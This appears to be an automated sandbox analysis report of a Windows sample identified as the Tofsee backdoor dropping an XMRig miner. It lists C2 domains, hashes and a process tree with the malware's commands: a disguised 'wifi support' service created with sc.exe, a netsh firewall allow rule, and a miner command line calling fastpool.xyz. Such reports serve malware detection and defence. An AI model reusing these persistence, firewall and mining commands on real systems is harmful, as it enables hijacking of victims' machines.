Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2022, 09:41

General

  • Target
    file.exe
  • Size 173KB
  • Sample221113-lnrl9seb21
  • SHA256 65d44e3c2991161b65feaa832bb06dae93e75a3c3a2c48a889557745cccbd670
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4308
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\phtqakyh\
      2⤵
        PID:2112
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iobwpwje.exe" C:\Windows\SysWOW64\phtqakyh\
        2⤵
          PID:980
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create phtqakyh binPath= "C:\Windows\SysWOW64\phtqakyh\iobwpwje.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4352
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description phtqakyh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start phtqakyh
          2⤵
          • Launches sc.exe
          PID:5028
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2028
      • C:\Windows\SysWOW64\phtqakyh\iobwpwje.exe
        C:\Windows\SysWOW64\phtqakyh\iobwpwje.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2976
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4344
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3364

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            iobwpwje.exe

            • Path C:\Users\Admin\AppData\Local\Temp\iobwpwje.exe
            • Size 11.3MB
            • SHA256 cde179c719a07e845f51563b0b6822b983211b585951bfdee6859e95f07f60a2
            • MD5 SHA1 SHA512 SSDEEP

            iobwpwje.exe

            • Path C:\Windows\SysWOW64\phtqakyh\iobwpwje.exe
            • Size 11.3MB
            • SHA256 cde179c719a07e845f51563b0b6822b983211b585951bfdee6859e95f07f60a2
            • MD5 SHA1 SHA512 SSDEEP

            memory/2976-148-0x0000000000673000-0x0000000000683000-memory.dmp

            memory/2976-150-0x0000000000400000-0x0000000000587000-memory.dmp

            memory/3364-173-0x0000000000F10000-0x0000000001001000-memory.dmp

            memory/3364-178-0x0000000000F10000-0x0000000001001000-memory.dmp

            memory/4308-135-0x0000000000400000-0x0000000000587000-memory.dmp

            memory/4308-143-0x00000000006B9000-0x00000000006CA000-memory.dmp

            memory/4308-144-0x00000000022C0000-0x00000000022D3000-memory.dmp

            memory/4308-145-0x0000000000400000-0x0000000000587000-memory.dmp

            memory/4308-132-0x00000000006B9000-0x00000000006CA000-memory.dmp

            memory/4308-133-0x00000000022C0000-0x00000000022D3000-memory.dmp

            memory/4344-157-0x0000000001DA0000-0x0000000001DA6000-memory.dmp

            memory/4344-147-0x0000000000720000-0x0000000000735000-memory.dmp

            memory/4344-152-0x0000000000720000-0x0000000000735000-memory.dmp

            memory/4344-153-0x0000000000720000-0x0000000000735000-memory.dmp

            memory/4344-154-0x0000000002600000-0x000000000280F000-memory.dmp

            memory/4344-160-0x0000000001DB0000-0x0000000001DC0000-memory.dmp

            memory/4344-163-0x00000000029D0000-0x00000000029D5000-memory.dmp

            memory/4344-166-0x0000000007500000-0x000000000790B000-memory.dmp

            memory/4344-169-0x00000000029E0000-0x00000000029E7000-memory.dmp